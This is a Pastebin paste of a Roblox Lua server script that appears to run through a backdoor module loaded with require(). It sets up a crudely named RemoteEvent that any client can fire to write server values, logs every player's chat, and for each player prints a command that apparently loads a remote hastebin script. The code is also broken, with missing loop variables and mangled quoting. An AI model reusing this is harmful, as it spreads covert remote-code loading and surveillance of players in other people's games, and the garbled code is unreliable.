Advertisement
Guest User

script 4 runner

a guest
Dec 14th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. --Feel free to probe this with fiddler: require(382739820)
  2.  
  3.  
  4. function Shortner(X)
  5. if not (string.lower(type(X))=='string') then
  6. return nil;
  7. end;
  8. local NL = 0;
  9. for i = 1,string.len(X) do
  10. NL = i;
  11. end;
  12. for , players in pairs (game:GetService('Players'):GetPlayers()) do
  13. if (string.sub(string.lower(players.Name),1,NL)==(string.lower(X))) then
  14. return players;
  15. end;
  16. end;
  17. return nil;
  18. end
  19.  
  20. if game.Lighting:FindFirstChild("BigCocks") then
  21. game.Lighting:FindFirstChild("BigCocks"):remove()
  22. end
  23.  
  24. local a = Instance.new("RemoteEvent",game.Lighting)
  25.  
  26. a.Name = "BigCocks"
  27.  
  28. a.OnServerEvent:connect(function(plr, args)
  29. print(plr.Name..": "..args)
  30. local string = Instance.new("StringValue", game.Lighting)
  31. string.Name = plr.Name
  32. string.Value = args
  33. end)
  34.  
  35.  
  36.  
  37. for , v in pairs(game.Players:GetChildren()) do
  38. print("hl/http://www.hastebin.com/raw/mobumesoti%22,v.Name)
  39. v.Chatted:connect(function(msg)
  40. warn(v.Name..": "..msg)
  41. end)
  42. end
  43.  
  44. game.Players.PlayerAdded:connect(function(Player)
  45. wait(3)
  46. print("hl/http://www.hastebin.com/raw/mobumesoti%22,Player.Name)
  47. Player.Chatted:connect(function(message)
  48. warn(Player.Name..": "..message)
  49. end)
  50. end)
  51. ok
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement